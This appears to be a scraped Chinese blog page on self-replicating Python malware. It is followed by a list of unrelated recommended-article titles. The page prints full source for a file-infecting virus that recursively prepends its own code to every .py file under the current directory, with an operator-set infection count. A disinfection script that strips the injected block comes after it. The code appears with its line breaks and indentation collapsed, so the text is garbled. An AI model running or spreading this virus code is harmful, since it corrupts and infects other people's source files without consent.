病毒功能

针对当前文件夹下所有的.py文件以及所有下属文件夹内的所有.py文件进行病毒感染,将病毒代码复制到文件的原代码之前,同时病毒操作者还可以对病毒复制感染的次数进行设置。

病毒代码

## START OF VIRUS ##
import os,sysviruscode = []
num = 0def infect(dir):global viruscode, num, targetlist = os.listdir(dir)for item in list:path = os.path.join(dir, item)if os.path.isdir(path):infect(path)if os.path.isfile(path):if os.path.splitext(item)[1] == ".py":with open(path,'r') as f:filecode = f.readlines()infected = Falsefor line in filecode:if line == '## START OF VIRUS ##\n':infected = Truebreakif not infected:code = []code.extend(viruscode)code.extend('\n')code.extend(filecode)with open(path,'w') as f:f.writelines(code)num = num + 1if num >= target:returnif __name__ == '__main__':with open(sys.argv[0],'r') as f:lines = f.readlines()virus = Falsefor line in lines:if line == '## START OF VIRUS ##\n':virus = Trueif virus:viruscode.append(line)if line == '## END OF VIRUS ##' or line == '## END OF VIRUS ##\n':breaktarget = int(input("The number of infection: "))cur_dir = os.getcwd()infect(cur_dir)print("INFECTED!")## END OF VIRUS ##

查杀功能

针对当前文件夹下所有被病毒感染的.py文件以及所有下属文件夹内被病毒感染的.py文件进行解毒,即删除病毒代码,只保留正常代码。

查杀代码

import osdef disinfect(dir):list=os.listdir(dir)for item in list:path=os.path.join(dir,item)if os.path.isdir(path):disinfect(path)if os.path.isfile(path):if os.path.splitext(item)[1] == '.py':with open(path,'r') as f:lines = f.readlines()infected = Falsefor line in lines:if line == '## START OF VIRUS ##\n':infected = Truebreakif infected:virus = Falsefor line in lines[:]:if line == '## START OF VIRUS ##\n':virus = Trueif virus:lines.remove(line)if line == '## END OF VIRUS ##' or line == '## END OF VIRUS ##\n':breakwith open(path,'w') as f:f.writelines(lines)if __name__ == '__main__':cur_dir = os.getcwd()disinfect(cur_dir)print("UNINFECTED!")

参考资料

python实现简单病毒_Mikumiku339的博客-CSDN博客

Python文件自我复制感染病毒及其查杀解毒相关推荐

  1. 病毒木马查杀实战第026篇:“白加黑”恶意程序研究(上)

    前言 众所周知,传统的恶意程序都是由单一文件构成的.从而实现某一种或者几种恶意功能. 而这类的恶意程序为了避免被发现以及被查杀,往往会採用五花八门的自我隐藏技术以及免杀技术,病毒程序的作者非常多时候也 ...

  2. 病毒木马查杀的问与答

    1 哪种类型病毒难以处理 感染性的病毒,因为这种病毒会破坏文件系统,而如果要恢复文件系统就需要对病毒进行逆向分析.如果是普通的病毒感染,不需要进行逆向分析,就可以编写出来专杀软件. 2 对病毒进行分析 ...

  3. 病毒木马查杀实战第018篇:病毒特征码查杀之基本原理

    前言 在本系列的导论中,我曾经在"病毒查杀方法"中简单讲解过特征码查杀这种方式.而我也在对于实际病毒的专杀工具编写中,使用过CRC32算法来对目标程序进行指纹匹配,从而进行病毒判定 ...

  4. 病毒木马查杀实战第001篇:基本查杀理论与实验环境配置

    前言 <病毒木马查杀>系列以真实的病毒木马(或统称为恶意程序)为研究对象,通过现有的技术手段对其分析,总结出它的恶意行为,进而制定出相应的应对方法(如编写专杀工具),对其彻底查杀.当然,本 ...

  5. 病毒木马查杀实战第019篇:病毒特征码查杀之编程实现

    前言 上次我们已经简介过了病毒特征码提取的基本方法,那么这次我们就通过编程来实现对于病毒的特征码查杀. 定义特征码存储结构 为了简单起见.这次我们使用的是setup.exe以及unpacked.exe ...

  6. 病毒木马查杀实战第009篇:QQ盗号木马之手动查杀

    前言 之前在<病毒木马查杀第002篇:熊猫烧香之手动查杀>中,我在不借助任何工具的情况下,基本实现了对于"熊猫烧香"病毒的查杀.但是毕竟"熊猫烧香" ...

  7. 蠕虫病毒的查杀 (转)

    蠕虫病毒的查杀 (转)[@more@]名字:W32/Sircam-A 别名:W32.Sircam.Worm@mm, W32/SirCam@mm, backdoor.SirCam 类别:win32蠕虫 ...

  8. 病毒木马查杀实战第010篇:QQ盗号木马之十六进制代码分析

    前言 按照我的个人习惯,在运用诸如IDA Pro与OllyDBG对病毒进行逆向分析之前,我都会利用一些自动化的工具,通过静态或动态的分析方法(参见<病毒木马查杀第008篇:熊猫烧香之病毒查杀总结 ...

  9. 病毒木马查杀第002篇:熊猫烧香之手动查杀

    一.前言 作为本系列研究的開始,我选择"熊猫烧香"这个病毒为研究对象.之所以选择这一款病毒,主要是由于它具有一定的代表性.一方面它当时造成了极大的影响,使得不管是不是计算机从业人员 ...

最新文章

  1. 领度CEO廖睿:企业社交最大的阻力来自老板
  2. python官网下载步骤视频-Python 实现视频下载
  3. WEB 实时推送技术总结
  4. 华为交换机查看端口流量_华为交换机限速及流量统计配置
  5. 11、Node.js 函数
  6. [转] 2018年冬流感通知
  7. 颠覆网站 C/S 模式,没有服务器的网站会怎样?
  8. 如何使用ImageRanger Pro Edition mac版创建缩略图?
  9. mysql死锁自动处理方法_19. 死锁的产生和 MySQL 自动处理方式
  10. StanfordDB class自学笔记 (6) 关系代数
  11. 《Linux程序设计》 - 《Linux高级程序设计》 - 《Unix环境高级编程》
  12. 软件架构师的12项修炼[2]——关系技能修炼(2)——领导力、政治
  13. 利用函数求字符串长度
  14. 回归云平台的本质,通过平台+应用模式实现软件资源线上共享
  15. 视频教程-C++QT5跨平台界面编程原理和实战大全-C/C++
  16. onsubmit和submit()详解
  17. 碳交易计价结算货币:理论、现实与选择
  18. 109 个实用 Shell 脚本实例,代码清晰拿来就能用!(附pdf)
  19. 设计中常见八个构图类型
  20. 【学习笔记】嵌入式三级

热门文章

  1. DATA GUARD的概念及作用
  2. 升米恩斗米仇,驳”开源侵略论”
  3. python利用多线程批量下载高清美女图片(350秒下载近3600张1.2个G的照片,地址可变)
  4. babylon.js
  5. Android HDCP开发小结
  6. LabVIEWCompactRIO 开发指南6
  7. 7位随机数生成-python代码
  8. 关于查看dll信息的两种方法
  9. 湘潭seo:SEO如何诊断排名不佳的页面!
  10. 王小川告别搜狗:卸任CEO职务 爱过,无怨无悔